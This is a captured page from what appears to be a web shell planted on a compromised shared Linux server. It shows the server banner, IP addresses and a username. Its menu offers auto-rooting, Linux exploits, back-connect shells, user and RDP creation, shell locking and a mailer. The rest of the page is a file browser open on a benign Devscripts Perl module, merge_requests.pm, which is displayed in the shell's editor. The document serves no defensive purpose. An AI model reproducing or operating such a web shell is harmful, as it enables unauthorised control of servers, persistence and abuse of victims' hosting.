Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Devscripts /
Salsa /
[ HOME SHELL ]
Name
Size
Permission
Action
Config.pm
10.72
KB
-rw-r--r--
Hooks.pm
7.9
KB
-rw-r--r--
Repo.pm
1.87
KB
-rw-r--r--
add_user.pm
976
B
-rw-r--r--
check_repo.pm
5.08
KB
-rw-r--r--
checkout.pm
2.08
KB
-rw-r--r--
create_repo.pm
1.13
KB
-rw-r--r--
del_repo.pm
602
B
-rw-r--r--
del_user.pm
733
B
-rw-r--r--
fork.pm
711
B
-rw-r--r--
forks.pm
892
B
-rw-r--r--
group.pm
724
B
-rw-r--r--
join.pm
452
B
-rw-r--r--
last_ci_status.pm
2.31
KB
-rw-r--r--
list_groups.pm
882
B
-rw-r--r--
list_repos.pm
876
B
-rw-r--r--
merge_request.pm
6.05
KB
-rw-r--r--
merge_requests.pm
1.05
KB
-rw-r--r--
protect_branch.pm
1.1
KB
-rw-r--r--
protected_branches.pm
761
B
-rw-r--r--
purge_cache.pm
285
B
-rw-r--r--
push.pm
3.12
KB
-rw-r--r--
push_repo.pm
1.65
KB
-rw-r--r--
rename_branch.pm
1.14
KB
-rw-r--r--
search_group.pm
776
B
-rw-r--r--
search_project.pm
1.38
KB
-rw-r--r--
search_user.pm
700
B
-rw-r--r--
update_repo.pm
4.15
KB
-rw-r--r--
update_safe.pm
569
B
-rw-r--r--
update_user.pm
883
B
-rw-r--r--
whoami.pm
578
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : merge_requests.pm
# Lists merge requests proposed to a project package Devscripts::Salsa::merge_requests; use strict; use Devscripts::Output; use Moo::Role; sub merge_requests { my ($self, @reponames) = @_; my $res = 1; unless (@reponames) { ds_warn "Repository name is missing"; return 1; } foreach my $p (@reponames) { my $id = $self->project2id($p); my $count = 0; unless ($id) { ds_warn "Project $_ not found"; return 1; } print "$p\n"; my $mrs = $self->api->paginator( 'merge_requests', $id, { state => 'opened', }); while ($_ = $mrs->next) { $res = 0; my $status = $_->{work_in_progress} ? 'WIP' : $_->{merge_status}; print <<END; \tId : $_->{id} \tTitle : $_->{title} \tAuthor: $_->{author}->{username} \tStatus: $status \tUrl : $_->{web_url} END } unless ($count) { print "\n"; next; } } return $res; } 1;
Close
